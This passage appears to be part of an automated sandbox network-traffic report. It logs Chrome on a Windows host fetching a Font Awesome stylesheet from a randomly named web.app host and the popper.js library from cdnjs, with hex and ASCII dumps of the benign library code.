67 72 6f 75 70 3a 30 3b 2d Data Ascii: x:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49760	199.36.158.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:34 UTC	513	OUT	GET /general-style.css HTTP/1.1 Host: hiirscktcy.web.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:34 UTC	609	IN	HTTP/1.1 200 OK Connection: close Content-Length: 88321 Cache-Control: max-age=3600 Content-Type: text/css; charset=utf-8 Etag: "751c743089b6e8b6938ddf10fe3494ac0556a771d70e6381bde68336e752522a" Last-Modified: Thu, 07 Dec 2023 11:28:31 GMT Strict-Transport-Security: max-age=31556926; includeSubDomains; preload Accept-Ranges: bytes Date: Mon, 29 Apr 2024 00:01:34 GMT X-Served-By: cache-chi-kigq8000087-CHI X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1714348895.575666,VS0,VE114 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 31 35 2e 34 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 2e 66 61 2e 66 61 2d 67 6c 61 73 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 30 30 22 7d 2e 66 61 2e 66 61 2d 6d 65 65 74 75 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f Data Ascii: * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Aweso
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 64 22 7d 2e 66 61 2e 66 61 2d 70 69 63 74 75 72 65 2d 6f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 70 69 63 74 75 72 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 65 22 7d 2e 66 61 2e 66 61 2d 70 68 6f 74 6f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 70 68 6f 74 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 65 22 7d 2e 66 61 2e 66 61 2d 69 6d 61 67 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 Data Ascii: re{content:"\f03d"}.fa.fa-picture-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-picture-o:before{content:"\f03e"}.fa.fa-photo{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-photo:before{content:"\f03e"}.fa.fa-image{font-family:"Font
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 2e 66 61 2e 66 61 2d 62 61 72 2d 63 68 61 72 74 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 62 61 72 2d 63 68 61 72 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 30 22 7d 2e 66 61 2e 66 61 2d 62 61 72 2d 63 68 61 72 74 2d 6f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 62 61 72 2d 63 68 61 72 74 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 30 22 7d 2e 66 61 2e 66 61 2d 66 61 63 65 62 6f 6f 6b 2d 73 71 75 61 72 65 2c 2e 66 61 2e 66 61 2d 74 77 69 74 74 65 72 Data Ascii: .fa.fa-bar-chart{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-bar-chart:before{content:"\f080"}.fa.fa-bar-chart-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-bar-chart-o:before{content:"\f080"}.fa.fa-facebook-square,.fa.fa-twitter
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 69 74 74 65 72 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 66 61 63 65 62 6f 6f 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 39 65 22 7d 2e 66 61 2e 66 61 2d 66 61 63 65 62 6f 6f 6b 2d 66 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 66 61 63 65 62 6f 6f 6b 2d 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 39 65 22 7d 2e 66 61 2e 66 61 2d 67 69 74 68 75 62 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 Data Ascii: itter{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-facebook:before{content:"\f39e"}.fa.fa-facebook-f{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-facebook-f:before{content:"\f39e"}.fa.fa-github{font-family:"Font Awesome 5 Brand
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 71 75 61 72 65 2c 2e 66 61 2e 66 61 2d 70 69 6e 74 65 72 65 73 74 2c 2e 66 61 2e 66 61 2d 70 69 6e 74 65 72 65 73 74 2d 73 71 75 61 72 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 67 6f 6f 67 6c 65 2d 70 6c 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 64 35 22 7d 2e 66 61 2e 66 61 2d 6d 6f 6e 65 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 6d 6f 6e 65 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 64 31 22 7d 2e 66 61 2e 66 61 2d 75 6e 73 6f 72 74 65 64 Data Ascii: quare,.fa.fa-pinterest,.fa.fa-pinterest-square{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-google-plus:before{content:"\f0d5"}.fa.fa-money{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-money:before{content:"\f3d1"}.fa.fa-unsorted
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 66 69 6c 65 2d 74 65 78 74 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 35 63 22 7d 2e 66 61 2e 66 61 2d 62 75 69 6c 64 69 6e 67 2d 6f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 62 75 69 6c 64 69 6e 67 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 61 64 22 7d 2e 66 61 2e 66 61 2d 68 6f 73 70 69 74 61 6c 2d 6f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 Data Ascii: amily:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-text-o:before{content:"\f15c"}.fa.fa-building-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-building-o:before{content:"\f1ad"}.fa.fa-hospital-o{font-family:"Font Awesome 5 Free";font-wei
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 32 32 22 7d 2e 66 61 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 2d 6f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 39 22 7d 2e 66 61 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 2d 65 6d 70 74 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 2d 65 6d 70 74 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 39 22 7d 2e 66 Data Ascii: before{content:"\f122"}.fa.fa-star-half-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-half-o:before{content:"\f089"}.fa.fa-star-half-empty{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-half-empty:before{content:"\f089"}.f
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 63 61 72 65 74 2d 73 71 75 61 72 65 2d 6f 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 35 31 22 7d 2e 66 61 2e 66 61 2d 74 6f 67 67 6c 65 2d 75 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 74 6f 67 67 6c 65 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 35 31 22 7d 2e 66 61 2e 66 61 2d 63 61 72 65 74 2d 73 71 75 61 72 65 2d 6f 2d 72 69 67 68 74 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 Data Ascii: e";font-weight:400}.fa.fa-caret-square-o-up:before{content:"\f151"}.fa.fa-toggle-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-toggle-up:before{content:"\f151"}.fa.fa-caret-square-o-right{font-family:"Font Awesome 5 Free";font-weight:400}.fa
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 42 72 61 6e 64 73 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 79 6f 75 74 75 62 65 2d 70 6c 61 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 36 37 22 7d 2e 66 61 2e 66 61 2d 61 64 6e 2c 2e 66 61 2e 66 61 2d 62 69 74 62 75 63 6b 65 74 2c 2e 66 61 2e 66 61 2d 62 69 74 62 75 63 6b 65 74 2d 73 71 75 61 72 65 2c 2e 66 61 2e 66 61 2d 64 72 6f 70 62 6f 78 2c 2e 66 61 2e 66 61 2d 66 6c 69 63 6b 72 2c 2e 66 61 2e 66 61 2d 69 6e 73 74 61 67 72 61 6d 2c 2e 66 61 2e 66 61 2d 73 74 61 63 6b 2d 6f 76 65 72 66 6c 6f 77 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 62 69 74 62 75 63 6b 65 74 Data Ascii: Brands";font-weight:400}.fa.fa-youtube-play:before{content:"\f167"}.fa.fa-adn,.fa.fa-bitbucket,.fa.fa-bitbucket-square,.fa.fa-dropbox,.fa.fa-flickr,.fa.fa-instagram,.fa.fa-stack-overflow{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-bitbucket
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 61 2e 66 61 2d 63 61 72 65 74 2d 73 71 75 61 72 65 2d 6f 2d 6c 65 66 74 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 63 61 72 65 74 2d 73 71 75 61 72 65 2d 6f 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 39 31 22 7d 2e 66 61 2e 66 61 2d 74 6f 67 67 6c 65 2d 6c 65 66 74 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 74 6f 67 67 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 39 31 22 7d 2e 66 61 2e 66 61 2d 64 6f 74 2d 63 69 72 63 6c 65 2d 6f Data Ascii: a.fa-caret-square-o-left{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-caret-square-o-left:before{content:"\f191"}.fa.fa-toggle-left{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-toggle-left:before{content:"\f191"}.fa.fa-dot-circle-o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49759	104.17.24.14	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:34 UTC	669	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://cloudsss-c367.iardainwkasn.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:34 UTC	957	IN	HTTP/1.1 200 OK Date: Mon, 29 Apr 2024 00:01:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1478804 Expires: Sat, 19 Apr 2025 00:01:34 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U9HX1JPgSj1VJVxOqgZqIJQmB1LSonBLQA8y1IJFkKa%2FGLoNF81vBT7ldb9s04j1Mceectq4ffFgwcWzUWzVtLnosqNeBNh9aNMIpV7AtEuzdBlcDBXePdeGYVlw1xd%2BQh8pvF9e"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 87bb04af4d2013f3-ORD alt-svc: h3=":443"; ma=86400
2024-04-29 00:01:34 UTC	412	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 Data Ascii: nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':r
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 Data Ascii: r o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 Data Ascii: .top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 Data Ascii: :p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 Data Ascii: arn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 